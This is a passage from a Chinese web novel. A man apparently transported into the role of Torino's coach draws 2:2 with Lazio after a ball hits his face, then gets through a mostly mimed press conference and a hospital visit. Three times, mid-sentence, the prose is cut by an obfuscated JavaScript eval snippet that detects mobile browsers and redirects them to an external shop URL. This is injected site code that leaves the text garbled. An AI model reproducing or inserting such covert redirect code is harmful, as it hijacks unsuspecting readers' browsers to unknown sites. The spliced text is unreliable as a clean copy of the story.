看台上的都灵球迷交头接耳,拉齐奥球迷发出了某种介于担忧和起哄之间的声音——他们当然希望都灵倒霉,但如果倒霉的方式是对方主教练被足球击中头部,这多少有点超出了竞技体育的范畴,进入了一种让他们不太好意思大声喝彩的灰色地带。 安东尼奥尼同样十分担心:“教练,你还记得我是谁吗?” 林奇正坐在地上,后背靠着教练席的塑料椅腿,两条腿以一种毫无尊严的方式叉开着——大概是箕踞的坐姿,幸好这里没有秦王——他脸上的血已经不流了,队医用了某种止血喷雾,闻起来像是消毒水和薰衣草私通后生下来的私生子,但是林奇的鼻梁肿起来了一个相当可观的弧度。 恭喜林奇,他可以cos意大利人了。 队医又伸出了手指。 “教练,这是几?”【意大利语】 “三。”【中文】 队医和助教相互对视,俩人都觉得大事不妙,队医把手指收回去,从急救箱里掏出了一个小手电筒,他扒开林奇的眼皮,一道白光直直地射了进去。 林奇的眼睛里像是被人塞了一颗太阳,他本能地想往后缩,但后脑勺已经抵在椅腿上了,无处可逃。他只能像一只被兽医检查牙齿的猫一样,眯着另一只眼睛,发出了一个不太体面的喉音。 “语言中枢被影响了吗?”队医说,“瞳孔反应是正常的。” “什么影响?” “他现在只能说他母语了,大概。” 林奇在一旁听着他们说话,倒是觉得无所谓,自己本来就不会说意大利语呀?只要能听懂,那就说明自己大脑的理解能力完好无损! 好吧,此时比赛还在继续。 都灵少了主教练的指挥,可是他们的阵型并没有崩溃。这大概是因为林奇本来也没怎么指挥——他整个下半场都在等72分钟,像一个等公交车的乘客,除了等什么也没做。而球员们在没有指令的情况下,反而开始依靠本能和训练中形成的肌肉记忆来踢球了。 2号佐利没再前插了,这哥们终于意识到了自己每次冲上去身后就会留下一个能停下两辆菲亚特的大空档,天哪,伟大的意识。 8号格雷科的传球变短了,这倒不是因为战术要求,而是因为他每次尝试长传,看台上就会传来都灵球迷集体吸冷气的声音。 那种声音非常有说服力,比他妈和他历任教练加起来都有说服力。 哦,刚刚那句话并没有脏话,再读一遍。 至于巴罗尼,他一直在射门。 从第67分钟到第71分钟,巴罗尼一共尝试了三脚射门。 第一脚打在对方后卫腿上弹回来,第二脚飞向了角旗区——这让餐车老板条件反射地端起了热狗夹子——第三脚倒是打在了门框范围内,但力度太轻,佩鲁齐用一只手就接住了。 每次踢飞,巴罗尼就看一眼场边惨兮兮的主教练。 太好了!主教练还在流血!他没注意到自己踢飞了球!!! 按照正常逻辑,一个前锋在踢飞两个球、击中一次餐车之后,主教练通常会考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485101|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把他换下来冷静一下。但林奇不会换他,因为如果整不好教练要先把自己换下去——换去医院之类的。 第71分30秒。 拉齐奥在后场倒脚,都灵队的中场开始前压,8号格雷科突然像一条闻到了什么的猎犬一样冲了上去。 他的跑动毫无预兆,以至于他的三个中场队友愣了一秒才跟上去。 这一秒的延迟反而造成了意想不到的效果,拉齐奥的后腰以为都灵要高位压迫,匆忙把球传向边路,但边后卫没有准备好接球。 球滚向边线。 都灵队的边前卫里卡多启动,他的速度数值在林奇的记忆中是13,不算顶尖,但对付一个站位失误的边后卫足够了。 里卡多抢在对方之前捅到了球,然后抬头看了一眼禁区,巴罗尼在那里等着呢,他举着手,但是举的很奇怪,并不是标准姿势,而更像是在课堂上举手回答问题的姿势,手掌张开,五指并拢。 老师!这道题我会! 球飞过去。 林奇在那一瞬间产生了一种奇特的错觉。 他觉得自己又回到了电脑前,屏幕上的文字正在一行一行跳出来:【第72分钟,都灵中场反抢成功,就地发动攻势,边路传中——】 当然,没有文字,只有巴罗尼的胸口。 球撞上巴罗尼胸口的声音和撞在林奇脸上的声音截然不同撞在脸上是“咔嚓”加“唔”,撞在胸口上是沉闷的“砰!” 球从巴罗尼的胸口弹起来,升到一个恰好可以抽射的高度。 然后他转身。 林奇看见巴罗尼的右脚向后摆去。 那一刻他的脑子里闪过一个念头:他会不会又踢呲了?游戏里写的是一回事,现实是另一回事。 巴罗尼刚才踢呲过,踢飞过,踢中过餐车……没有任何东西能保证这一次他会踢中正确的位置。 但是巴罗尼的脚背击中了球的正中心,用尽全力,毫无保留。 足球飞向球门。 佩鲁奇扑球,他的反应数值在林奇的记忆中是18,这意味他是全意大利乃至全世界反应最快的门将之一,而在林奇的眼中,就在这场比赛里也确实是,佩鲁奇的身体在空中完全伸展开,像一只被扔出去的猫,右手指尖朝着球的方向拼命延长。 没碰到。 足球撞进球网。 2:1。 都灵的球迷区爆发出了林奇这辈子听过的最响的声音,几千上万人同时把肺里的空气以最大的力气挤出来,让声带以任何它想震动的方式震动,为的是庆贺自家前锋的进球。 巴罗尼跑向角旗区,然后他停下来转身,朝着教练席跑过来。 林奇看见那个高大的身影朝自己狂奔而来的时候,大脑负责评估危险的区域终于苏醒了,这块地方在过去的一个小时里一直在打瞌睡——被球砸的时候它没醒,流鼻血的时候它没醒,被队医用手电筒照眼睛的时候它也没醒。 但现在,看着一个至少八十五公斤的意大利前锋朝自己冲过来,它终于醒了。 “等等!” 林奇大喊,可惜是中文,巴罗尼显然把“等等”当做了某种鼓励,因为前锋的速度反而加快了。 巴罗尼张开双臂。 林奇往后退了一步,撞在了安东尼奥尼身上,秃头助教非但没有帮他挡人,反而伸出手抵住了他的后背,像是一个过于热心的父亲推着不敢下水的小孩往游泳池边走。 “他进球了,教练!”安东尼奥尼简直带着哭腔,或者是林奇听错了,“让他抱一下!” “我的鼻子——” 很可惜,林奇是用中文说的。 5. 等待戈多 太晚了。 巴罗尼整个人撞了上来。 他的拥抱没有任何技巧可言,纯粹是质量乘以速度除以接触面积,林奇的鼻子,那个刚刚止住血的鼻子,正好卡在巴罗尼的锁骨和肩膀之间的凹陷处。 这里并不坚硬,可是疼痛仍然像闪电从林奇的鼻梁劈进去穿过上颚,从后脑勺穿出来。 林奇的视野又变白了,并且他感到温热的液体从鼻腔里涌出来,沿着上唇的弧线向两边分流,一部分流进嘴里——铁锈味——另一部分滴落下去。 “教练!你看到了吗!!你看到了吗!!!” 巴罗尼的声音从很近的地方传来,因为林奇的脸正被按在巴罗尼的胸口。 林奇的鼻血正在以令人不安的速度渗进那块深红色的布料里,但由于球衣本身就是深红色的,所以完全看不出来。 这是一个非常罗马勇士式的细节:流血是流血,但只要不影响美观,就可以当作没发生。 其他球员围过来了。 第一个到的是8号格雷科,他可能是出于对之前那脚传球的内疚,跑得比谁都快,然后跳上巴罗尼的后背,像一只攀附在树干上的考拉,然后是3号左后卫,然后是另一个前锋,然后是中后卫,然后越来越多。 林奇被压在正中间。 他感到自己的脊椎正在承受都灵队半个首发阵容的重量。 这是一个以林奇为核心的洋葱结构,每一层都在施加压力。林奇的呼吸变得困难起来,不是因为鼻子,鼻子已经放弃了它的功能,而是因为他的胸腔被挤压到了一个不可能扩张的程度。 安东尼奥尼在外面喊什么,林奇听不清,但他能从语调判断出来,安东尼奥尼在试图把这群人拉开。 这个发现让林奇对安东尼奥尼产生了前所未有的好感。 然后他听到了裁判的哨声,带着明确警告意思的哨声。 感!谢!裁!判! “散开!都散开!” 压在林奇身上的重量一层一层地减轻了,先是中后卫,然后是另一个前锋,然后是3号左后卫,然后是8号格雷科。 格雷科跳下去的时候还拍了拍巴罗尼的头,像从一匹马上跳下来时拍拍马脖子。 最后是巴罗尼。 他松开林奇的时候往后退了半步,然后看见了林奇的脸。巴罗尼的表情在那一瞬间经历了从狂喜到困惑再到惊恐的三级跳,他张开嘴,合上,又张开。 “教练,你的脸……” 林奇不需要镜子也知道自己现在是什么样子,他能感觉到血从鼻子里流出来,流过嘴唇,滴到下巴上;他的右眼因为鼻梁的肿胀而眯成了一条缝,左眼因为疼痛而蓄满了泪水。 裁判走过来看了看林奇,然后转头看了巴罗尼一眼。 “你对他做了什么?” “我进球了!”巴罗尼说,仿佛这就解释了为什么他的主教练看起来像刚刚参与了一场酒吧斗殴并且是输的那一方。 裁判张了张嘴,似乎想说什么,但最终只是摇了摇头,在记录板上写了些什么。林奇后来才知道裁判给巴罗尼补了一张黄牌,理由是“过度庆祝导致场边人员受伤”。 这是林奇整个执教生涯(哪怕加上fm游戏)中见过的最具创造性的黄牌理由,但他不得不承认,从客观上来说,这张黄牌给得毫无问题。 林奇的球员们跑回球场,而林奇重新在教练席上坐下来。 他的鼻子上又换了一块新的冰袋,右眼肿得只剩下一条缝,衬衫上的血迹已经从意大利地图扩展成了整个欧洲版图。 林奇看起来像是一个刚从前线撤下来的战地记者。 安东尼奥尼在他旁边坐下,递过来一瓶水。 “你还好吗,教练?” “……no.” 林奇很努力地抑制住了自己说“imfhankyou”的嘴。 然后林奇就不说话了,他正用他仅剩的那只左眼盯着球场,还有二十多分钟,还有一个进球。 他觉得自己现在有点像夏侯惇。 拉齐奥落后一球之后开始压上,内斯塔居然都开始频繁越过中线,要知道他前插只有11,这意味着内斯塔大部分时间都会老老实实待在后面。 但是现实中的内斯塔显然不会受到数值的限制,或者说,当你的球队被一支升班马进球,任何中后卫都会开始考虑要不要亲自进一个。 第78分钟,西蒙尼·因扎吉在禁区外接到解围球,抬脚就射,球飞行的轨迹不算高,就像一只贴地飞行的燕子,穿过至少四个人的腿,最后被都灵的老门将用指尖拨出底线。 真的很稳。 天哪!真的很稳! 数值永远不会告诉你一个36岁的老门将看到年轻的因扎吉(虽然不是更厉害的那个)摆腿的时候,他的脑子在想什么,可是无论在想什么,门将的身体已经自动站在了正确的地方。 79分钟拉齐奥换人,换上来的这个球员速度超级快,没有两分钟,他第一次触球就能看出来——他从都灵的3号左后卫外侧超车,简单到侮辱的动作,只是把球往前一捅,然后用速度生吃。 3号的速度只有11,跑得慢不是他的错,可是这场面还是太残忍了,你要用自己的双腿追上自行车吗? 不,不,还是算了吧。 传中球飞进禁区,克雷斯波跳起来,都灵的中后卫也跳起来,两个人的头几乎同时触碰到球,球被顶出禁区,落在拉齐奥中场的脚下,远射。 老门将再次扑出去,这个球被他直接没收在怀里,他抱着球趴在地上,停了几秒钟才爬起来。 这几秒钟估计是整场比赛都灵第一次让节奏慢下来。 林奇能够看出来门将是在拖延时间,他本能地知道现在该怎么做,把球抱在怀里,多趴一会儿,让队友喘口气,让对手急躁,让时间一秒一秒地走掉。 林奇从教练席上站起来,他的腿还记得怎么站立,多好的消息。他走到场边,用一只眼睛看着球场。 这场面真的很搞笑,一个鼻梁肿着,右眼闭着,衬衫上全是血的主教练突然从椅子上站起来走到场边…… 难道拿破仑还没有放弃吗? 2号佐利在边线附近看了自家主教练一眼,转回去把拉齐奥左边锋的内切路线封死了,这有点不符合一个集中8镇定7的球员理论上会做出的防守选择:他卡住了内线,迫使对方走外线,然后把球铲出了边线。干净利落,没有任何多余动作。 林奇沉默(被迫)地看着场上的局势。 84分钟,拉齐奥的进攻如潮水般涌来,都灵队的防线被压成了一条线,只有巴罗尼一个人留在中圈附近,主要是巴罗尼实在跑不动了,他的体能好像只有14,能跑但不算太能跑,而他在这场比赛里已经在拉齐奥的半场来回冲刺了八十四分钟,进了一个球,还有最夸张的——把自家主教练搞成一只破布娃娃。 巴罗尼仍然站在中圈,姿态很难看,双手撑着膝盖,汗水从他的下巴滴落,任何人看到这个姿态都会认为这个人已经精疲力尽,事实上他确实精疲力竭了。 但当都灵队解围出来的球飞向中圈的时候,巴罗尼还是抬起了头。 巴罗尼追上了那个球。 肯定不是通过速度,他已经没有速度了……他可能是凭借意志或者本能?也许是一个前锋的条件反射?巴罗尼把球控下来,用胸口,还是那个胸口,那个撞过球也被球撞过的胸口。 球停在他脚下,拉齐奥的后卫从后面追上来,拉齐奥的中场从侧面逼过来,巴罗尼被夹在中间。 哦,罐头里的沙丁鱼。 沙丁鱼传了一脚球。 传球,是传球! 在游戏里,巴罗尼的团队合作数值是9,这意味着他在大多数情况下会选择自己射门而不是传给位置更好的队友。 但此刻巴罗尼传了一脚球,用外脚背,把球分到了右边路。 都灵的边前卫里卡多正在那里,无人盯防——因为拉齐奥所有人都以为巴罗尼会射门。 里卡多接到球,往前带了两步,传中。 球飞向禁区,但拉齐奥的后卫抢在都灵前锋之前把球顶了出来。 进攻结束了。 巴罗尼站在原地,双手撑着膝盖,又恢复了他那副精疲力竭的样子。 第87分钟,第四官员举起了补时牌,3分钟。 三分钟,一百八十秒。 在足球比赛里,三分钟可以短到只够开一次球门球,也可以长到足够改写整个赛季的命运。 游戏里也是三分钟,游戏里这三分钟里发生了很多事。 唔,唔……现在可没有空格给林奇按。 第88分钟,拉齐奥倒脚,拖延时间,拉齐奥现在2:1都灵,说实话,没有必要冒着丢球的风险前压,急的是都灵。 看台上的拉齐奥也重新开始唱歌,全世界球迷在球队领先时都会唱歌,而拉齐奥的球迷团体也很团结,喊着“你们可以回家了”还不忘补上一句“教练可以去医院”,不得不说这是一种难能可贵的国际主义精神。 林奇领情,但不必要。 他相信自己的球员们会再进一个球。 第90分钟,里卡多在右边路拿球,扛着左后卫的拉扯往前推进,肩膀被对方的肘部顶着,这个跑动姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485102|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态让林奇想起了游戏里另一个完全不同的数值——工作投入,里卡多的工作投入有18。 林奇玩fm的时候从来不看工作投入这个属性,因为他觉得这个属性没什么用,只要技术好、身体好就够了,然而他现在知道工作投入18是什么样子了。 里卡多抬头看了一眼禁区,禁区里有三个红色球衣,五个白色球衣,其中一个红色球衣正在向后点移动。 是巴罗尼。 里卡多不知道巴罗尼还剩下多少体力,但他知道如果这球传过去,巴罗尼会去抢的,而他也没有别的队友可以传了。 里卡多右脚触球的位置很靠后,接近脚跟,这是一种不被推荐的传中方式,不停球直接传中,对触球精度要求太高,稍微偏一点就会飞出底线。 可是里卡多没时间了……! 拉齐奥的左后卫已经贴上来了,拉齐奥的后腰正在回追,佩鲁齐在门线上调整站位。停球意味着失去唯一的空档,也意味着拉齐奥的防线会重新组织好,更意味着都灵将失去这次机会…… 于是里卡多直接传了。 白色的,旋转的,在都灵午后的阳光下飞向禁区的球。 球飞进禁区。 巴罗尼在那里。 他和米哈伊洛维奇纠缠在一起。 米哈伊洛维奇是拉齐奥的中后卫,一个以任意球闻名但防守同样凶悍的塞尔维亚人。他的身高比巴罗尼高,体重比巴罗尼大,经验比巴罗尼丰富,此刻他的手正按在巴罗尼的肩膀上,巴罗尼的手正撑在他的胸口。 两个人的姿态像一对在舞池里互相试探的舞者,只不过这支舞没有任何浪漫可言,只有骨头和肌肉的对抗。 两个人在争抢同一个落点——巴罗尼跳了起来! 起跳高度并不高,八十四分钟的奔跑、冲刺、对抗,已经把他腿部的爆发力消耗殆尽。巴罗尼跳起来的高度大概离地四十厘米,相当于《辞海》加《现代汉语词典》叠在一起的厚度。 米哈伊洛维奇也跳起来了,比他高了将近半个头,可是塞尔维亚人起跳有点晚。 巴罗尼终于等到了戈多*。 他的额头触到了球,他稍微转了转脖子,把球顶向了地面的方向,砸地头球。 佩鲁齐的重心已经移向了球飞来的方向,当他看到球砸地反弹的时候,身体本能地做出了调整——他的左手伸出去,指尖拼命延长,朝着球的轨迹追过去。 碰到了。 但没有抓住。 球从他的指尖滑过,继续飞向球门远角。 那一刻时间变得非常慢。 林奇能看见球旋转的方式——逆时针——能看见佩鲁齐指尖和球之间的距离——能看见球门线后面的拉齐奥球迷正在站起来,嘴巴张开,眼睛瞪大,双手抱头;他能看见米哈伊洛维奇落地时踉跄了一下的右脚,能看见巴罗尼落地时弯曲的膝盖,能看见球网被球撞击时泛起的那一圈涟漪。 球进了。 【第90+3分钟,禁区内巴罗尼高高跃起,力压米哈伊洛维奇头球攻门。球砸地反弹越过佩鲁齐指尖飞入球门远角。拉齐奥2:2都灵。】 巴罗尼还站在原地。他的双臂已经放下来了,现在他只是站在那里,低着头,看着脚下的草皮。他的队友们正在朝他跑过来,但巴罗尼选择先跑到了教练面前。 在游戏里,巴罗尼的情绪显示为【坚定】【充满斗志】,“该球员对比赛充满热情。” 而巴罗尼对自己这帮的也同样充满热情,哪怕是夏天才来到都灵的好像没有任何经验的主教练,他也同样富有热情地表示欢迎。 林奇看着巴罗尼朝自己跑过来,这个画面和十几分钟前巴罗尼庆祝第一个进球时的画面高度相似——同一个前锋,同一双亮晶晶的眼睛,同一种“我要把主教练撞成骨折”的奔跑姿态。 不过巴罗尼提前站住脚步,在林奇面前停下来:“教练,两个球!” “yes——two!” 好贫瘠的语言,可是这样简单的语言就足够了,再多点球员们就听不懂了。 巴罗尼哈哈大笑然后反过头和自己的队友们庆祝,这同样是在拖延时间,裁判看着表又把都灵球员们驱赶回去,2:2之后还要开球,还有几十秒。拉齐奥还有最后一次进攻机会。 拉齐奥开球。克雷斯波把球传给内德维德,内德维德直接长传找禁区——看起来很有机会,但是时间到了。 裁判吹响了终场哨。 2:2。 林奇捂了捂眼睛,好吧,疼痛感还能忍受,可是接下来要做什么? 以他的经验……不会要去接受采访吧??? 6. 远古的沟通本能 新闻发布会厅比林奇想象中要小,就只是一个只能容纳二十把折叠椅的狭长房间,这时候的意大利流行刷米黄色的墙壁,尤其在公共机构里。 林奇不知道这种颜色是谁发明的,但他怀疑发明者的初衷是让所有走进来的人都产生一种轻微的消化不良感,从而缩短会议时间。 因为他现在就有点肚子疼…… 林奇站在门口。 他正在做一个任何理智的人在进入充满意大利记者的房间之前都会做的事:他评估了一下自己目前的语言能力。 至于自己的脸?无所谓了,就在比赛的时候估计就已经拍完一百二十张照片了。 是的,他现在莫名其妙能听懂意大利语,每一个单词每一个句子,但是说出来呢? 抱歉,no。 好消息是,安东尼奥尼跟在他身后。 坏消息是,安东尼奥尼在他耳边小声说:“教练,你得说话。” 林奇回头用一只眼看助教,助教用两只眼看林奇。 林奇的那只左眼里传达出的信息非常清晰:你是认真的吗?安东尼奥尼的两只眼睛里传达出的信息同样清晰:我也希望我不是。 “talk.(说话)” “是的,talk。” “talkwhat?(说什么?)” “回答问题。” 林奇继续看助教:“Italian?(意大利语?)” 如果不是初中教材里面有意大利餐馆这个单词,林奇连Italian都想不起来,他还能记得里面说想不想来点意大利面条呢,回答是“yesplease”,然而此刻,面对这群记者们,“yesplease”显然不是一个合适的回答。 光头助教也感到自己说的话不太对劲,但是没别的办法了:“最好是?” 你是在开玩笑吗? 安东尼奥尼是个好助教,不会让自己的主教练过于尴尬,试探着问:“英语呢?” 林奇说:“bad.(坏)” “有多bad?” “very,verybad.” 安东尼奥尼喉结滚动了一下,他的秃顶在日光灯下反射出一种接近于求救信号的光芒,然后他做出了一个决定,一个在接下来的几十分钟里将被证明是极其勇敢、极其愚蠢、或者两者兼有的决定。 “我翻译,”他说,“我是你的助理。” “你说英语,我翻译成意大利语。如果你的英语不够用,你就……” 安东尼奥尼做了一个手势,大概意思是“用手比划”或者“用眼神示意”或者“我们到时候再说反正现在也没有更好的办法了”。 林奇看着这个手势,内心产生了一种接近于感动的情感。 什么叫忠臣?这才是忠臣! 安东尼奥尼可是都灵大大的忠臣!!! 而林奇还能做什么?他当然要听忠臣的话啦!他重重地点头,两手紧紧攥住了安东尼奥尼的手,重重地摇了两下。 此乃吾之子房啊,有安东尼奥尼在,自己怎么不算是如鱼得水吗? 别管是什么水。 两个人一起走了进去。 二十把折叠椅上坐了大概十五个人,十五个脖子上挂着采访证、手里拿着录音笔或笔记本、脸上带着不同程度的好奇和怀疑的意大利体育记者。 林奇在桌子后面坐下来,安东尼奥尼坐在他旁边。桌子上放着一瓶水,两个杯子,一支看起来像是从1997年就放在这里的圆珠笔,没有麦克风,但有一个用胶带粘在桌沿上的录音设备。 够简陋的。 但林奇被迫注意到了一个细节:所有人都在看着他。 好吧,理所当然,无论是他的眼睛还是他的鼻子,又或者是他的衬衫,此时都显示出那种不同寻常的模样,而配合半个小时之前的事故,大家能够憋住笑就很好了。 林奇感激这群记者是专业的。 第一个记者站了起来:“《罗马体育报》。”他说,然后开始提问,语速很快,然而林奇听懂了每一个词,这位记者问的是:都灵在落后两球的情况下扳平,这是否意味着球队具备了他之前没有预料到的精神品质?以及,他对巴罗尼的表现有何评价?以及,他的脸怎么样? 三个问题,最后一个问题是用努力保持专业但明显压抑不住好奇心的语气问出来的。 林奇开口:“GOOD,GOOD,BAD.” 三个词,对应三个问题。 这是一个极其高效的交流系统,如果人类语言都按照这个密度来设计,托尔斯泰写《战争与和平》只需要三页。 安东尼奥尼等待着林奇再说一点,林奇等待安东尼奥尼翻译,记者也在等待……到底在等什么啊! “没了?”安东尼奥尼小声问。 “Teamgood.(团队很好。)”林奇补充道。 安东尼奥尼作为一个在意大利足球圈混了二十年的助教,他大概见识过各种各样的赛后采访——愤怒的、傲慢的、敷衍的、过于热情的、把战术板拿出来当场画图的,但他大概从来没有遇到过需要把“Teamgood”翻译成一段能够满足《罗马体育报》记者期待的、具有信息量和引用价值的意大利语句子的情况。 他清了清嗓子,转向记者。 “教练说,”安东尼奥尼用意大利语说,“球队今天展现出了非凡的精神力量,在奥林匹克球场面对一支像拉齐奥这样强大的对手,在落后两球的情况下没有放弃,而是继续战斗到最后一分钟,这证明了这支球队拥有超越技术水平的内在品质。他特别表扬了全队的团结和斗志,认为这是本赛季征程中最重要的基础。” 林奇的左眼越睁越大,他的英语原话是两个单词,而安东尼奥尼把它变成了一段大概包含四十个意大利语单词!甚至带有一点修辞技巧! 这就像是你给了某人一颗葡萄,他还给你一瓶葡萄酒!还得是82年的拉菲! 第二个记者站了起来:“《都灵体育报》。”本地媒体。 林奇的精神稍微振作了一点。本地媒体意味着至少不会问出那种纯粹为了制造标题的问题,比如“升班马教练赛后鼻青脸肿,是否遭到更衣室暴力”或者“中国教练的鼻子:意甲的残酷性”。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485103|201966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这位记者的问题是:巴罗尼在比赛中的两个进球风格完全不同,这是教练战术安排的结果还是球员个人的临场发挥?以及,他如何看待巴罗尼在补时阶段的那次头球绝平? 林奇在脑子里甚至组织出了一个完整的回答!——巴罗尼的第一个进球是团队配合的结果,快速反抢、边路推进、禁区内的果断终结;第二个进球则更多依赖于他个人的门前嗅觉和斗志,在比赛第九十分钟,体能完全透支的情况下,依然判断落点、抢占位置、完成一记技术含量极高的砸地头球。 只恨单词不足! “Baroni(巴罗尼)GOOD,heveryveryverygood.” 都灵主教练的英语进步是显而易见的,这一次他足足多说了两个单词,按照这个速度,到赛季末他就能朗诵莎士比亚十四行诗了。 林奇相信自己的助理教练…… 他的相信没有错。 “教练认为,”安东尼奥尼说,“巴罗尼今天的表现是他执教生涯中见过的最令人印象深刻的个人表演之一。第一个进球体现了我们训练中反复演练的战术套路——快速反抢、边路推进、禁区内的果断终结。第二个进球则完全是巴罗尼个人意志力的体现,在比赛第九十分钟,在体能已经完全透支的情况下,他依然能够判断落点、抢占位置、完成一记技术含量极高的头球……这不仅仅是天赋,这是一种与生俱来的射手本能。教练特别指出,巴罗尼的第二个进球——那个砸地头球——他在训练场上练习过无数次,今天在最重要的时刻得到了回报。” 林奇不知道安东尼奥尼是怎么编出来这么多东西的,但是他认为自己最好不要质疑他。 记者们显然也有点绷不住了,大家是能够听明白教练简陋的英语的,这就和助教的长篇大论形成了鲜明的对比,然而他们暂时不能推断究竟是教练和助理教练之间有矛盾还是教练的授意……可以先看看。 第三个记者站了起来,他一站起来林奇就提起精神——这家伙不怀好意的样子! 果然。 “教练,”他说,用笔指了指自己的鼻子,“你的脸是怎么弄的?” 在场只有林奇不能完整地说出原委。 这个混蛋。 林奇想说点什么,可他的表达能力近乎于零。 但人类在语言出现之前,已经交流了几十万年。洞穴壁画、手势、面部表情、从喉咙里发出的含混声音,林奇的DNA里刻着这些远古的沟通本能,此刻它们被激活了。 “Ball(球).”他指了指自己的鼻子。“Face(脸).” 然后他举起双手,比划了一个球飞过来的轨迹,面部表情配合着这个手势:先是茫然(球从哪里来的?),然后是惊恐(它朝我飞过来了!),最后是疼痛(它击中了!)。 然后是流血的部分,好在这个不用他演,大家看看衬衫就知道了,而最后,林奇补充了一句:“nohospital(没有医院)。” 整个发布会厅突然响起了如雷鸣般的掌声。 被给予掌声的教练茫茫然地看着大家:“thankyou.” 7. 烛光晚餐和秃头 要不然说自己助教是真正的忠臣呢? 在这惊天骇地的新闻发布会之后,秃头助教安东尼奥尼做的第一件事就是把自家主教练,尊敬的阿尔贝·奥坦维亚尼先生塞进自己的菲亚特里面,然后径直开往最近的医院。 球员?他们又不是未成年的孩子了,没有教练总结陈词也能自己回家吃饭! 林奇其实有点想说自己不需要去医院,虽然说确实挺疼吧,但是估计都是皮外伤,回去抹点红花油或者碘伏就能解决问题,毕竟他现在甚至能用右眼勉强看清东西了,即使视野不太清晰,可是如果让现在的林奇站在场边,那这点伤势是完全不影响他判断场上局势的。 如果明天有比赛,林奇觉得自己可以带着面具站在一旁指挥,就像歌剧魅影一样,说不定还能震慑对手呢。 只可惜他说不出来,他没办法组织出来一个像模像样的长难句,连个幼儿园孩子都不如,而这个幼儿园孩子此刻正坐在副驾驶座上,用一只好眼睛盯着窗外飞速掠过的街景,试图从那些米黄色、杏色、奶油色的建筑外墙上找到一个能让他确认自己确实在意大利的标志性物体。 比如说,比萨斜塔?罗马斗兽场?威尼斯运河? 这个没读完高中的家伙没发现自己脑子里想的建筑都不在都灵。 于是他想要看见的建筑一个都没出现,只有无穷无尽的居民楼,餐馆,超市,药店,还有“BAR”。 “bar?beer?(酒吧?啤酒?)” 光头助教抽空看了一眼:“不,那是卖咖啡的。” 这个答案让林奇产生了一种微妙的失望,因为此时此刻,一扎啤酒听起来确实比一杯咖啡更有吸引力。 到了医院,急诊室的值班医生是一个戴着金丝边眼镜的中年女人,超级紧的发髻,她让林奇坐在一张塑料椅子上,然后用两根手指捏住他的鼻梁,轻轻摇了摇。 林奇发出了一声他自己都没有想到会发出的声音。 被踩到尾巴的猫?生锈的铁门合页? 无论如何,这声音在急诊室里绕梁不绝。 “没断,”医生有点失望地说,林奇有点抱歉,自己没能给医生提供一个更具挑战性的病例,只提供了一个被足球砸中的鼻子。 医生松开手指,从柜子里拿出来医用胶带,无菌纱布和酒精,包扎过程不超过四分钟,最后林奇的鼻梁上多了一块儿白色的纱布,用两条胶带交叉固定,看起来像是不太成功的圣诞节礼物包装。 “两天换一次纱布,”医生说,“一周内不要擤鼻涕,不要碰水,不要被球砸到。” 最后一个建议她说的格外郑重。 林奇点头,他指了指自己的右眼,医生凑近看了看,翻开他的眼皮——林奇再次经历了那种被小手电筒直射瞳孔的奇妙体验——然后她退后一步,耸了耸肩:“冰敷,会消的。如果没有消,再来找我。” 这就是意大利医疗系统的美妙之处:如果你没有死,你就没事。 从医院出来的时候,都灵的夜幕已经彻底降临了,意甲通常会把非焦点战安排在下午,强队对决或重要场次则安排在晚间黄金时段。 但是令人意想不到的是,明明这是一场非焦点战,却出现了焦点新闻。 林奇暂时不去想这些,因为他的助教再次把他塞进菲亚特,“走吧,我们去吃点东西!”然后发动机开始咳嗽,以一种令人感动的忠诚开始运转。 林奇把额头抵在车窗玻璃上,玻璃凉凉的,让他的思维变得比平时清晰了一点点。只是一点点。 他开始想一个问题。 这应该不是梦,这样个疼法如果是梦的话,那现实中的屋顶是不是塌下来砸中了自己的脸? 本来他还觉得是清醒梦呢,因为清醒梦是他能想到的最合理的解释——你在梦里会经历各种离谱的事情,但你不会质疑。 但是现在一切都很真实,他的右眼看东西比左眼慢半拍,皱眉的时候胶带会扯着脸上的肉,然后又扯到鼻子,又很痛;他去看安东尼奥尼的时候,助教的秃头上的汗水也很清楚。 而自己的胃也因为大概是饥饿的缘故发出声音。 这是真的? 他真的在都灵,他真的是一支意甲球队的主教练,他真的带队在主场2:2逼平了拉齐奥…… ——他真的在一群意大利记者面前用一套默剧表演完成了自己的第一场发布会,并且获得了掌声。 这些事情全都发生了。这些事情没有一件是他妈的合理的。 林奇正了正身子,转头看正在开车的助教,助教看上去真的格外疲惫,主教练张了张嘴,他也不知道自己想说点什么,最有可能的是“你车上有没有吃的?”但他只是发出了含混的声音。 安东尼奥尼专注开车,只是瞥了他一眼。“快到了,”他说,“再忍忍。” 我觉得我们可以随便吃点什么东西…… 